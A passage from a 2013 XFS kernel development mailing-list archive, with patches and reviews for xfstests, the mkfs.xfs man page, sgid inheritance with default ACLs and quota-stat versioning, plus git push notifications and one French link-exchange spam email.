"$FSTYP" ] && FSTYP=xfs -[ -z "$MOUNT_OPTIONS" ] && _mount_opts -[ -z "$MKFS_OPTIONS" ] && _mkfs_opts -[ -z "$FSCK_OPTIONS" ] && _fsck_opts - - # we need common/config if [ "$iam" != "check" ] then @@ -490,6 +484,7 @@ _setup_large_ext4_fs() fi return 0 } + _scratch_mkfs_ext4() { local tmp_dir=/tmp/ @@ -518,6 +513,24 @@ _scratch_mkfs_ext4() return $mkfs_status } +_test_mkfs() +{ + case $FSTYP in + nfs*) + # do nothing for nfs + ;; + udf) + $MKFS_UDF_PROG $MKFS_OPTIONS $* $TEST_DEV > /dev/null + ;; + btrfs) + $MKFS_BTRFS_PROG $MKFS_OPTIONS $* $TEST_DEV > /dev/null + ;; + *) + yes | $MKFS_PROG -t $FSTYP -- $MKFS_OPTIONS $* $TEST_DEV + ;; + esac +} + _scratch_mkfs() { case $FSTYP in @@ -919,6 +932,7 @@ _supported_fs() _notrun "not suitable for this filesystem type: $FSTYP" } + # tests whether $FSTYP is one of the supported OSes for a test # _supported_os() -- 1.8.3.1 From cmaiolino@redhat.com Wed Jul 10 10:14:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99C6A7F3F for ; Wed, 10 Jul 2013 10:14:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 39835AC005 for ; Wed, 10 Jul 2013 08:14:51 -0700 (PDT) X-ASG-Debug-ID: 1373469290-04cb6c2a46ae6ed0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Hcdg7Kh7r9NKDvom for ; Wed, 10 Jul 2013 08:14:50 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6AFEn8Q014818 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Jul 2013 11:14:49 -0400 Received: from andromeda.usersys.redhat.com.com (ovpn-113-117.phx2.redhat.com [10.3.113.117]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6AFEm85021141 for ; Wed, 10 Jul 2013 11:14:49 -0400 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: [PATCH v2] mkfs: add missing noalign suboption information Date: Wed, 10 Jul 2013 12:14:40 -0300 X-ASG-Orig-Subj: [PATCH v2] mkfs: add missing noalign suboption information Message-Id: <1373469280-12617-1-git-send-email-cmaiolino@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373469290 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Adds to the mkfs man page, information about noalign mkfs option which is missing until now. Changelog: V2: -rephase noalign data-section option -add noalign realtime device option Signed-off-by: Carlos Maiolino --- man/man8/mkfs.xfs.8 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 04c19b4..61122f0 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -244,6 +244,11 @@ will automatically query the logical volume for appropriate and .B swidth values. +.TP +.BI noalign +This option disables automatic geometry detection and creates the filesystem +without stripe geometry alignment even if the underlying storage device provides +this information. .RE .TP .B \-f @@ -695,6 +700,10 @@ This is used to specify the size of the real-time section. This suboption is only needed if the real-time section of the filesystem should occupy less space than the size of the partition or logical volume containing the section. +.TP +.BI noalign +This option disables stripe size detection, enforcing a realtime device with no +stripe geometry. .RE .TP .BI \-s " sector_size" -- 1.8.1.4 From bpm@sgi.com Wed Jul 10 10:26:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B68417F3F for ; Wed, 10 Jul 2013 10:26:13 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 811988F8040; Wed, 10 Jul 2013 08:26:13 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C5F2A500B4B; Wed, 10 Jul 2013 10:26:12 -0500 (CDT) Date: Wed, 10 Jul 2013 10:26:12 -0500 From: Ben Myers To: Carlos Maiolino Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130710152612.GY32736@sgi.com> References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> <20130708211121.GI20932@sgi.com> <20130708234235.GD3438@dastard> <20130709170608.GR20932@sgi.com> <20130710132257.GE11948@andromeda.usersys.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130710132257.GE11948@andromeda.usersys.redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 10, 2013 at 10:22:58AM -0300, Carlos Maiolino wrote: > On Tue, Jul 09, 2013 at 12:06:08PM -0500, Ben Myers wrote: > > On Tue, Jul 09, 2013 at 09:42:35AM +1000, Dave Chinner wrote: > > > On Mon, Jul 08, 2013 at 04:11:21PM -0500, Ben Myers wrote: > > > > On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > > > > > XFS removes sgid bits of subdirectories under a directory containing a default > > > > > acl. > > > > > > > > > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > > > > > code path. Such function is shared among mkdir and chmod system calls, and > > > > > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > > > > > remove sgid bit from the inode after it has been granted. > > > > > > > > > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > > > > > checks when acls are being inherited (thanks hch). > > > > > > > > > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > > > > > permissions, this only implies in another try to remove sgid bit from the > > > > > directories. Such check is already done either on inode_change_ok() or > > > > > xfs_setattr_nonsize(). > > > > > > > > > > Changelog: > > > > > > > > > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > > > > > function > > > > > > > > > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > > > > > > > > > Signed-off-by: Carlos Maiolino > > > > > > > > > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > > > > > - return XFS_ERROR(EROFS); > > > > > + /* If acls are being inherited, we already have this checked */ > > > > > + if (!(flags & XFS_ATTR_NOACL)) { > > > > > + if (mp->m_flags & XFS_MOUNT_RDONLY) > > > > > + return XFS_ERROR(EROFS); > > > > > > > > > > - if (XFS_FORCED_SHUTDOWN(mp)) > > > > > - return XFS_ERROR(EIO); > > > > > + if (XFS_FORCED_SHUTDOWN(mp)) > > > > > + return XFS_ERROR(EIO); > > > > > > > > > > - error = -inode_change_ok(inode, iattr); > > > > > - if (error) > > > > > - return XFS_ERROR(error); > > > > > + error = -inode_change_ok(inode, iattr); > > > > > + if (error) > > > > > + return XFS_ERROR(error); > > > > > + } > > > > > > > > I'm not so sure about this change yet. Looks like the two relevant callers are: > > > > > > > > .set - xattr_handler > > > > xfs_xattr_acl_set > > > > xfs_set_mode > > > > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > > > > > > > and > > > > > > > > xfs_vn_mknod > > > > xfs_inherit_acl > > > > xfs_set_mode > > > > xfs_setattr_nonsize(..., XFS_ATTR_NOACL); > > > > > > > > I suggest moving the forced shutdown and readonly checks outside of the > > > > XFS_ATTR_NOACL conditional. I'm not seeing those checks in xfs_attr_acl_set or > > > > xfs_vn_mknod and it won't hurt to be careful. > > > > > > In both cases, the read-only checks are done at much higher layers > > > and so we don't ever get to xfs_setattr_nonsize() through these > > > paths with a read-only filesystem. Shutdown doesn't really matter - > > > the transaction commit will fail if the filesystem is shut down... > > > > > > > It also seems like inode_change_ok might have some other checks that are > > > > necessary to determine whether it is ok to update the mode and ctime here. A > > > > call to inode_owner_or_capable as is done in inode_change_ok would cover this > > > > possibility. > > > > > > The inode permission checks are already done by xfs_xattr_acl_set(): > > > > > > if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) > > > return -EPERM; > > > > > > and in the case of xfs_inherit_acl() the user has just created the > > > file so they - by definition - have permission to inherit the ACL > > > and modify the mode of the inode they just created. > > > > > > So there is no need for changes to inode_change_ok() here. > > > > Carlos, if you agree with Dave's assessment consider this > > > > Reviewed-by: Ben Myers > > > > let me know what you think and I'll pull it in. > > > > Thanks, > > Ben > > > Hi Ben, > > Yes, I agree with Dave's statements, I removed the unneeded checks, because they > were done at higher layers. Excellent. > please, feel free to pull it in, my apologies to have not answered it on IRC, it > was holiday here and I just saw your message late this morning. No worries. ;) I've pulled this in. Thanks, Ben From sandeen@sandeen.net Wed Jul 10 10:26:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 19B677F51 for ; Wed, 10 Jul 2013 10:26:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB62A8F8049 for ; Wed, 10 Jul 2013 08:26:11 -0700 (PDT) X-ASG-Debug-ID: 1373469970-04cbb04691d9b980001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id xUfsoPiZTIfed7o3 for ; Wed, 10 Jul 2013 08:26:10 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A494A63CE9A4; Wed, 10 Jul 2013 10:26:09 -0500 (CDT) Message-ID: <51DD7D13.1050200@sandeen.net> Date: Wed, 10 Jul 2013 10:26:11 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Carlos Maiolino CC: xfs@oss.sgi.com Subject: Re: [PATCH v2] mkfs: add missing noalign suboption information References: <1373469280-12617-1-git-send-email-cmaiolino@redhat.com> X-ASG-Orig-Subj: Re: [PATCH v2] mkfs: add missing noalign suboption information In-Reply-To: <1373469280-12617-1-git-send-email-cmaiolino@redhat.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373469970 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136367 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/10/13 10:14 AM, Carlos Maiolino wrote: > Adds to the mkfs man page, information about noalign mkfs option which is > missing until now. > > Changelog: > > V2: > -rephase noalign data-section option > -add noalign realtime device option > > Signed-off-by: Carlos Maiolino > --- > man/man8/mkfs.xfs.8 | 9 +++++++++ > 1 file changed, 9 insertions(+) > > diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 > index 04c19b4..61122f0 100644 > --- a/man/man8/mkfs.xfs.8 > +++ b/man/man8/mkfs.xfs.8 > @@ -244,6 +244,11 @@ will automatically query the logical volume for appropriate > and > .B swidth > values. > +.TP > +.BI noalign > +This option disables automatic geometry detection and creates the filesystem > +without stripe geometry alignment even if the underlying storage device provides > +this information. > .RE > .TP > .B \-f > @@ -695,6 +700,10 @@ This is used to specify the size of the real-time section. > This suboption is only needed if the real-time section of the > filesystem should occupy less space than the size of the partition > or logical volume containing the section. > +.TP > +.BI noalign > +This option disables stripe size detection, enforcing a realtime device with no > +stripe geometry. It's ok, but why change the wording vs. the data section? i.e. I'd do: > +This option disables automatic geometry detection and creates the realtime subvolume > +without stripe geometry alignment even if the underlying storage device provides > +this information. But *shrug* it's not that big a deal. Reviewed-by: Eric Sandeen , or you can send V3 (or whatever) :) -Eric > .RE > .TP > .BI \-s " sector_size" > From bpm@oss.sgi.com Wed Jul 10 10:38:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 724777F4E; Wed, 10 Jul 2013 10:38:05 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-7-g42c49d7 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: b0a9dab78aee2a479d7c226e6939d553967e4024 X-Git-Newrev: 42c49d7f249c2487f36d3314753d5d8ebcee8249 Message-Id: <20130710153805.724777F4E@oss.sgi.com> Date: Wed, 10 Jul 2013 10:38:05 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 42c49d7 xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] from b0a9dab78aee2a479d7c226e6939d553967e4024 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 42c49d7f249c2487f36d3314753d5d8ebcee8249 Author: Carlos Maiolino Date: Fri Jun 21 14:45:53 2013 -0300 xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] XFS removes sgid bits of subdirectories under a directory containing a default acl. When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its code path. Such function is shared among mkdir and chmod system calls, and does some checks unneeded by mkdir (calling inode_change_ok()). Such checks remove sgid bit from the inode after it has been granted. With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these checks when acls are being inherited (thanks hch). Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities permissions, this only implies in another try to remove sgid bit from the directories. Such check is already done either on inode_change_ok() or xfs_setattr_nonsize(). Changelog: V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another function V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch Signed-off-by: Carlos Maiolino Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_iops.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Wed Jul 10 10:38:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id B50BA7F53; Wed, 10 Jul 2013 10:38:20 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-7-g42c49d7 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: b0a9dab78aee2a479d7c226e6939d553967e4024 X-Git-Newrev: 42c49d7f249c2487f36d3314753d5d8ebcee8249 Message-Id: <20130710153820.B50BA7F53@oss.sgi.com> Date: Wed, 10 Jul 2013 10:38:20 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 42c49d7 xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] from b0a9dab78aee2a479d7c226e6939d553967e4024 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 42c49d7f249c2487f36d3314753d5d8ebcee8249 Author: Carlos Maiolino Date: Fri Jun 21 14:45:53 2013 -0300 xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] XFS removes sgid bits of subdirectories under a directory containing a default acl. When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its code path. Such function is shared among mkdir and chmod system calls, and does some checks unneeded by mkdir (calling inode_change_ok()). Such checks remove sgid bit from the inode after it has been granted. With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these checks when acls are being inherited (thanks hch). Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities permissions, this only implies in another try to remove sgid bit from the directories. Such check is already done either on inode_change_ok() or xfs_setattr_nonsize(). Changelog: V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another function V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch Signed-off-by: Carlos Maiolino Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_iops.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) hooks/post-receive -- XFS development tree From celine@seogratuits.com Wed Jul 10 10:45:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E42A47F3F for ; Wed, 10 Jul 2013 10:45:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D588D304066 for ; Wed, 10 Jul 2013 08:45:44 -0700 (PDT) X-ASG-Debug-ID: 1373471142-04cbb0468fd9db20001-NocioJ Received: from seossite.com (host.colocrossing.com [198.144.186.228]) by cuda.sgi.com with ESMTP id oGqaCXi8aZzwbxsc for ; Wed, 10 Jul 2013 08:45:43 -0700 (PDT) X-Barracuda-Envelope-From: celine@seogratuits.com X-Barracuda-Apparent-Source-IP: 198.144.186.228 Date: Wed, 10 Jul 2013 15:43:50 +0000 To: xfs@oss.sgi.com From: Celine Fournier Subject: =?UTF-8?Q?Liens_d'=C3=A9change_gratuits?= X-Priority: 3 X-ASG-Orig-Subj: =?UTF-8?Q?Liens_d'=C3=A9change_gratuits?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_2841ec616e3d3e780ee86fe956c14eee" Message-Id: <20130710154542.A74C858701@seossite.com> X-Barracuda-Connect: host.colocrossing.com[198.144.186.228] X-Barracuda-Start-Time: 1373471143 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136367 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --b1_2841ec616e3d3e780ee86fe956c14eee Content-Type: text/plain; charset = "UTF-8" Content-Transfer-Encoding: 8bit Cher webmaster, J'ai parcouru votre site oss.sgi.com alors que je surfais sur le net, et j'aimerais échanger des liens avec vous. Ce que j'offre est une affaire gratuite, équitable et bénéfique en échange d'un backlink. Sur freferencement.com vous pouvez tout trouver, depuis un guide pour débutants jusqu'à des sujets plus avancés qui auront pour conséquence d'également générer un véritable trafic vers votre site. Tout ceci est entièrement gratuit. Faites-moi savoir ce que vous en pensez, j'attends avec impatience de pouvoir échanger des liens avec vous. Salutations cordiales, Celine Fournier - freferencement.com --b1_2841ec616e3d3e780ee86fe956c14eee Content-Type: text/html; charset = "UTF-8" Content-Transfer-Encoding: 8bit Cher webmaster,

    J'ai parcouru votre site oss.sgi.com alors que je surfais sur le net, et j'aimerais échanger des liens avec vous.
    Ce que j'offre est une affaire gratuite, équitable et bénéfique en échange d'un backlink.

    Sur freferencement.com vous pouvez tout trouver, depuis un guide pour débutants
    jusqu'à des sujets plus avancés qui auront pour conséquence d'également générer un véritable trafic vers votre site.
    Tout ceci est entièrement gratuit.

    Faites-moi savoir ce que vous en pensez, j'attends avec impatience de pouvoir échanger des liens avec vous.

    Salutations cordiales,

    Celine Fournier - freferencement.com --b1_2841ec616e3d3e780ee86fe956c14eee-- From bpm@sgi.com Wed Jul 10 10:55:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CE267F3F for ; Wed, 10 Jul 2013 10:55:40 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 347CC304066; Wed, 10 Jul 2013 08:55:39 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 08F45500B4B; Wed, 10 Jul 2013 10:55:39 -0500 (CDT) Date: Wed, 10 Jul 2013 10:55:38 -0500 From: Ben Myers To: Chandra Seetharaman Cc: xfs@oss.sgi.com, swhiteho@redhat.com, Jan Kara Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130710155538.GY20932@sgi.com> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Chandra, On Thu, Jun 27, 2013 at 05:25:13PM -0500, Chandra Seetharaman wrote: > Added appropriate pads and code for backward compatibility. > > Copied over the old version as it is different from the newer padded > version. > > New callers of the system call have to set the version of the data > structure being passed, and kernel will fill as much data as requested. > > Signed-off-by: Chandra Seetharaman I think we also need to Cc: Jan Kara on this one, since he maintains the quota subsystem. Regards, Ben > --- > fs/gfs2/quota.c | 3 -- > fs/quota/quota.c | 49 ++++++++++++++++++++++++++++++++++- > fs/xfs/xfs_qm_syscalls.c | 4 --- > fs/xfs/xfs_super.c | 5 +-- > include/uapi/linux/dqblk_xfs.h | 55 ++++++++++++++++++++++++++++++++++----- > 5 files changed, 97 insertions(+), 19 deletions(-) > > diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c > index c7c840e..ca0dccd 100644 > --- a/fs/gfs2/quota.c > +++ b/fs/gfs2/quota.c > @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, > { > struct gfs2_sbd *sdp = sb->s_fs_info; > > - memset(fqs, 0, sizeof(struct fs_quota_stat)); > - fqs->qs_version = FS_QSTAT_VERSION; > - > switch (sdp->sd_args.ar_quota) { > case GFS2_QUOTA_ON: > fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > index c7314f1..ae6526e 100644 > --- a/fs/quota/quota.c > +++ b/fs/quota/quota.c > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > static int quota_getxstate(struct super_block *sb, void __user *addr) > { > struct fs_quota_stat fqs; > - int ret; > + struct fs_quota_stat_v1 fqs_v1; > + int ret, size; > + void *fqsp; > > if (!sb->s_qcop->get_xstate) > return -ENOSYS; > + > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > + return -EFAULT; > + > + switch (fqs.qs_version) { > + case FS_QSTAT_VERSION_2: > + size = FS_QSTAT_V2_SIZE; > + break; > + default: > + fqs.qs_version = FS_QSTAT_VERSION; > + /* fallthrough */ > + case FS_QSTAT_VERSION: > + size = FS_QSTAT_V1_SIZE; > + break; > + } > + > ret = sb->s_qcop->get_xstate(sb, &fqs); > - if (!ret && copy_to_user(addr, &fqs, sizeof(fqs))) > + if (ret) > + return ret; > + > + if (fqs.qs_version == FS_QSTAT_VERSION) { > + fqs_v1.qs_version = fqs.qs_version; > + fqs_v1.qs_flags = fqs.qs_flags; > + fqs_v1.qs_pad = 0; > + > + fqs_v1.qs_uquota.qfs_ino = fqs.qs_uquota.qfs_ino; > + fqs_v1.qs_uquota.qfs_nblks = fqs.qs_uquota.qfs_nblks; > + fqs_v1.qs_uquota.qfs_nextents = fqs.qs_uquota.qfs_nextents; > + > + fqs_v1.qs_gquota.qfs_ino = fqs.qs_gquota.qfs_ino; > + fqs_v1.qs_gquota.qfs_nblks = fqs.qs_gquota.qfs_nblks; > + fqs_v1.qs_gquota.qfs_nextents = fqs.qs_gquota.qfs_nextents; > + > + fqs_v1.qs_incoredqs = fqs.qs_incoredqs; > + fqs_v1.qs_btimelimit = fqs.qs_btimelimit; > + fqs_v1.qs_itimelimit = fqs.qs_itimelimit; > + fqs_v1.qs_rtbtimelimit = fqs.qs_rtbtimelimit; > + fqs_v1.qs_bwarnlimit = fqs.qs_bwarnlimit; > + fqs_v1.qs_iwarnlimit = fqs.qs_iwarnlimit; > + fqsp = &fqs_v1; > + } else > + fqsp = &fqs; > + > + if (copy_to_user(addr, fqsp, size)) > return -EFAULT; > return ret; > } > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > index f42b585..1900022 100644 > --- a/fs/xfs/xfs_qm_syscalls.c > +++ b/fs/xfs/xfs_qm_syscalls.c > @@ -420,9 +420,6 @@ xfs_qm_scall_getqstat( > bool tempgqip = false; > bool temppqip = false; > > - memset(out, 0, sizeof(fs_quota_stat_t)); > - > - out->qs_version = FS_QSTAT_VERSION; > if (!xfs_sb_version_hasquota(&mp->m_sb)) { > out->qs_uquota.qfs_ino = NULLFSINO; > out->qs_gquota.qfs_ino = NULLFSINO; > @@ -432,7 +429,6 @@ xfs_qm_scall_getqstat( > out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & > (XFS_ALL_QUOTA_ACCT| > XFS_ALL_QUOTA_ENFD)); > - out->qs_pad = 0; > out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; > out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; > if (&out->qs_gquota != &out->qs_pquota) > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index 992044f..1fafec9 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -549,14 +549,13 @@ xfs_showargs( > else if (mp->m_qflags & XFS_UQUOTA_ACCT) > seq_puts(m, "," MNTOPT_UQUOTANOENF); > > - /* Either project or group quotas can be active, not both */ > - > if (mp->m_qflags & XFS_PQUOTA_ACCT) { > if (mp->m_qflags & XFS_PQUOTA_ENFD) > seq_puts(m, "," MNTOPT_PRJQUOTA); > else > seq_puts(m, "," MNTOPT_PQUOTANOENF); > - } else if (mp->m_qflags & XFS_GQUOTA_ACCT) { > + } > + if (mp->m_qflags & XFS_GQUOTA_ACCT) { > if (mp->m_qflags & XFS_GQUOTA_ENFD) > seq_puts(m, "," MNTOPT_GRPQUOTA); > else > diff --git a/include/uapi/linux/dqblk_xfs.h b/include/uapi/linux/dqblk_xfs.h > index f17e3bb..04c4806 100644 > --- a/include/uapi/linux/dqblk_xfs.h > +++ b/include/uapi/linux/dqblk_xfs.h > @@ -47,6 +47,7 @@ > * 512 bytes. > */ > #define FS_DQUOT_VERSION 1 /* fs_disk_quota.d_version */ > + > typedef struct fs_disk_quota { > __s8 d_version; /* version of this structure */ > __s8 d_flags; /* 